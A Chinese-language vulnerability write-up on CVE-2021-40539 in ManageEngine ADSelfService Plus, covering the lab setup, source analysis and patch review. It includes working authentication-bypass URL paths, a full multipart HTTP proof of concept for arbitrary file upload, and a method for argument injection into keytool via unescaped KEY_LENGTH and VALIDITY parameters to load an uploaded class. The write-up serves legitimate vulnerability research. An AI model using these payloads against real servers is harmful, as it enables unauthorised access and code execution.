CVE-2021-40539 ManageEngine ADSelfService Plus漏洞分析

环境搭建

安装

​ 该漏洞影响版本在6113版本以前,但是在官网上已经下载不到这个版本了,我在其他网站下载了5.8的版本进行分析。

​ 下载好后双击exe安装,但启动过程中会卡在一个地方不动,后来我是通过双击bin/run.bat解决的,需要注意在选择版本的时候选择free版本。启动后的界面如下:

image-20211112113129673

调试

​ 看启动过程这个系统也是基于tomcat,tomcat的调试是在catalina.bat中加上调试信息,但是这个系统似乎没有catalina.bat文件。在run.bat中加上下面的内容。

image-20211112133827196

漏洞分析

认证绕过

POC

/./RestAPI/LicenseMgr

原理分析

​ 这里可以看到是请求RestAPI接口时的绕过,查看web.xml文件,访问RestAPI/下的内容会被struts处理。

1
2
3
4
5
6
7
8
9
10
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
...
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>

​ 在webapps/adssp/WEB-INF/api-struts-config.xml:43中找到LicenseMgr的处理类。

1
2
3
<action path="/LicenseMgr" type="com.adventnet.sym.adsm.common.webclient.api.LicenseMgr" parameter="operation" validate="false" scope="session">
<forward name="result" path="/adsf/jsp/common/RestAPIResponse.jsp"/>
</action>

​ 在LicenseMgr中没有找到明显的操作方法,因此在父类的DispatchAction#execute方法打断点,通过执行上面的payload拿到调用栈。

image-20211112141006087

​ 如果没有加上/./绕过,则不会执行到这个方法,所以推测是在Filter中做了权限认证的处理。这个系统配置的Filter并不多,因此我过了下发现问题主要在ADSFilter#doFilter中,如果没有加/./则会直接返回。

image-20211112141647457

​ 通过上面的代码分析,同时满足下面两个条件才会return,所以我们只要绕过一个即可。

  • reqURI可以被/RestAPI/*匹配到

  • RestAPIFilter.doAction返回false

    很明显使用/./是绕过了正则匹配的部分。

image-20211112144748147

​ 前面提到了这个系统是使用了tomcat,所以其实绕过的方法就比较多样了。

1
2
3
4
/xxxx/../RestAPI/LicenseMgr
/;asdassd/RestAPI/LicenseMgr
/xxx;asdassd/../RestAPI/LicenseMgr
/RestAPI;/LicenseMgr

文件上传

POC

​ 执行成功后会在/bin下创建test.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.3.16:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: confluence.browse.space.cookie=space-templates; adscsrf=c7cd8c01-87c0-493d-841b-08dab9b51b30; JSESSIONIDADSSP=E332DAC8F8DCA73F0A99581A22D3ED36
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Content-Length: 749

-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"

unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"

yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"

smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"

Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="adasdas/.././astest.txt"
Content-Type: application/octet-stream

arbitrary content
-----------------------------39411536912265220004317003537--

原理分析

Struts-config.xml存在如下配置:

1
2
3
<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>

​ 通过配置+POC可知,调用的是unspecified方法,由于form传入的是smartcard,因此会进入到else if的内容中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
if (request.getParameter("Save") != null) {
message = rb.getString("adssp.common.text.success_update");
messageType = "success";
if ("mob".equalsIgnoreCase(request.getParameter("form"))) {
this.saveMobileSettings(logonList, request);
request.setAttribute("form", "mob");
}
//进入到下面的处理中
else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {
operation = request.getParameter("operation");
SmartCardAction sCAction = new SmartCardAction();
if (operation.equalsIgnoreCase("Add")) {
request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
//处理SmartCardConfig文件
sCAction.addSmartCardConfig(mapping, dynForm, request, response);
} else if (operation.equalsIgnoreCase("Update")) {
sCAction.updateSmartCardConfig(mapping, form, request, response);
}

​ 跟进到SmartCardAction#addSmartCardConfig中,调用了getFileFromRequest

image-20211112192733952

getFileFromRequest从Form表单中解析得到文件名和内容进行上传。

image-20211112192819614

​ 在已经拿到POC的情况下,可以看到文件上传漏洞的原理比较简单,那么下面我提出两个问题。

  • 这里在写入文件时明明只有文件名,为什么写入的文件会被上传到bin目录下?

这个问题可以通过分析File#getAbsolutePath的调用解决,getAbsolutePath-->resolve-->getUserPath()-->System.getProperty("user.dir"),而在当前环境中System.getProperty("user.dir")保存的是/bin/的地址,因此上传会传到/bin目录下。

1
2
3
public String getAbsolutePath() {
return fs.resolve(this);
}

image-20211112200445801

image-20211112200505142

  • 我试图通过../等方式跨目录没有成功?为什么不能通过../实现跨目录上传?

FileName是通过getFileName获取的

image-20211112201020338

getFileName调用getBaseFileName

image-20211112201043985

getBaseFileName中通过new File().getName()获取文件名,所以我们传入的路径会被处理,这也是无法跨目录上传的原因。

image-20211112201247629

命令执行

原理分析

​ 命令执行发生在ConnectionAction#openSSLTool中,这个函数中通过createCSR创建CSR文件。

1
2
3
4
5
6
7
8
public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
String action = request.getParameter("action");
if (action != null && action.equals("generateCSR")) {
SSLUtil.createCSR(request);
}

return actionMap.findForward("SSLTool");
}

createCSR接收需要的参数放到sslParams这个json对象中,并继续通过重载方法完成实际的操作。

image-20211113124517990

​ 重载的createCSR方法中,接收参数拼接并调用runCommand方法执行命令,主要是通过调用keytool.exe生成证书文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
 public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
//接收参数拼接命令
String name = "\"" + sslSettings.getString("COMMON_NAME") + "\"";
String pass = sslSettings.getString("PASSWORD");
//keyToolEscape过滤
pass = ClientUtil.keyToolEscape(pass);
String password = "\"" + pass + "\"";
logger.log(Level.INFO, "Keystore will be created for " + name);
File keyFile = new File("..\\jre\\bin\\SelfService.keystore");
if (keyFile.exists()) {
File bckFile = new File("..\\jre\\bin\\SelfService_" + System.currentTimeMillis() + ".keystore");
keyFile.renameTo(bckFile);
}

StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");
keyCmd.append(password);
keyCmd.append(" -storePass ").append(password);
String keyLength = sslSettings.getString("KEY_LENGTH");
if (keyLength != null && !keyLength.equals("")) {
keyCmd.append(" -keysize ").append(keyLength);
}

String validity = sslSettings.getString("VALIDITY");
if (validity != null && !validity.equals("")) {
keyCmd.append(" -validity ").append(validity);
}

String san_name = sslSettings.getString("SAN_NAME");
keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME")));
keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU")));
keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION")));
keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY")));
keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE")));
keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE")));
keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore");
if (san_name != null && !san_name.equals("")) {
keyCmd.append(" -ext SAN=");
String[] san_name_arr = san_name.split(",");

for(int i = 0; i < san_name_arr.length; ++i) {
if (i != 0) {
keyCmd.append(",");
}

keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i]));
}
}

JSONObject jStatus = new JSONObject();
String status = runCommand(keyCmd.toString());
logger.log(Level.INFO, "The status of keystore creation is " + status);
if (status != null && status.equals("success")) {
keyFile = new File("..\\webapps\\adssp\\Certificates");
if (!keyFile.exists()) {
keyFile.mkdir();
}

keyCmd = (new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -certreq -alias tomcat -sigalg SHA256withRSA -keyalg RSA -storepass ")).append(password).append(" -keystore ..\\jre\\bin\\SelfService.keystore -file ..\\webapps\\adssp\\Certificates\\SelfService.csr");
if (san_name != null && !san_name.equals("")) {
keyCmd.append(" -ext SAN=");
String[] san_name_arr = san_name.split(",");

for(int i = 0; i < san_name_arr.length; ++i) {
if (i != 0) {
keyCmd.append(",");
}

keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i]));
}
}
//执行命令
status = runCommand(keyCmd.toString());
logger.log(Level.INFO, "The status of CSR Generation is " + status);
}

​ 大部分的参数拼接时都会经过keyToolEscape的过滤,keyToolEscape中会将",;等敏感字符转义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static String keyToolEscape(String str) {
if (str == null) {
return null;
} else {
String[] chars = new String[]{"\"", ",", ";"};
String ret = str;
String[] arr$ = chars;
int len$ = chars.length;

for(int i$ = 0; i$ < len$; ++i$) {
String s = arr$[i$];
if (ret.contains(s)) {
ret = ret.replaceAll(s, "\\\\" + s);
}
}

return ret;
}
}

​ 但是KEY_LENGTHVALIDITY并没有进行转义,所以可以展开利用。

1
2
3
4
5
6
7
8
9
String keyLength = sslSettings.getString("KEY_LENGTH");
if (keyLength != null && !keyLength.equals("")) {
keyCmd.append(" -keysize ").append(keyLength);
}

String validity = sslSettings.getString("VALIDITY");
if (validity != null && !validity.equals("")) {
keyCmd.append(" -validity ").append(validity);
}

漏洞利用

方法一:通过keytools加载类

​ 这个方法的原理在于keytools提供了下面两个参数,这里提供的类会被加载,所以可以在静态代码块中编写需要执行的代码,编译好后配合上面的文件上传漏洞上传,再通过注入providerclassproviderpath加载类以执行代码。

1
2
-providerclass <providerclass>  提供方类名
-providerpath <pathlist> 提供方类路径
失败尝试:拼接命令

执行命令时可以通过&&拼接其他要执行的命令,能否直接通过&&完成命令执行呢?

不可以,本来我想尝试直接闭合后面的内容后再通过&&拼接其他命令执行,但是经过查阅资料这样是不行的,只有当使用cmd /c 时才可以使用&&拼接执行。当前后面的命令能执行成功的前提是前面的命令没有报错,如果前面的命令出错后面拼接的命令是无法执行成功的。

image-20211115121825348

image-20211115121913866

​ 如果没有使用cmd /c也无法执行后面的命令

image-20211115122008350

修复分析

​ 在6116版本中修复结果如下。

认证绕过

​ 在6116中,直接使用/./RestAPI/LicenseMgr会返回500无法测试能否绕过,经过排错,这个版本需要加上参数才能正常执行,否则不会经过过滤器。

​ 使用/xxx/../RestAPI/LicenseMgr?operation=unspecified绕过,发现在ADSFilter#doSubFilters中存在如下代码。

image-20211116140557278

​ 查看isRestRequest的内容,可以看到通过getNormalizedURI对URL经过处理后才进行正则匹配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
String restApiUrlPattern = "/RestAPI/.*";

try {
restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);
} catch (Exception var5) {
out.log(Level.INFO, "Unable to get API_URL_PATTERN.", var5);
}
//处理URL
String reqURI = SecurityUtil.getNormalizedURI(request.getRequestURI());
String contextPath = request.getContextPath() != null ? request.getContextPath() : "";
reqURI = reqURI.replace(contextPath, "");
reqURI = reqURI.replace("//", "/");
//正则匹配
return Pattern.matches(restApiUrlPattern, reqURI);
}

getNormalizedURI 会对./../进行处理,所以无法使用这种方式绕过了。

image-20211116141247296

​ 但是根据我们之前的分析,也可以通过/RestAPI;/LicenseMgr?operation=unspecified绕过,但也是不行的,使用上述payload返回500错误。查看配置发现URL会被Security Filter处理。

image-20211116141853075

​ 在SecurityFilter#doFilter中会判断URL中是否包含;或者%3b,如果是则直接退出。

image-20211116141929586

文件上传

SmartCardAPI#addSmartCardConfiguration不再使用getFileFromRequest完成上传操作,而使用getFileFromMultipartRequest

image-20211115150959350

getFileFromMultipartRequest虽然还是会进行文件上传操作,但是上传路径和名称都不可控。

image-20211115151040207

命令执行

createCSR已经不再使用拼接命令的方式创建证书,因此也不存在命令执行漏洞。

image-20211115151505484

总结

​ 这个漏洞的权限认证绕过和文件上传其实比较普通,作者发现的受限的命令执行配合文件上传导致RCE的过程算是这个洞的亮点吧。之前分析认证绕过的地方有些错误,感谢killer师傅指正。

参考文章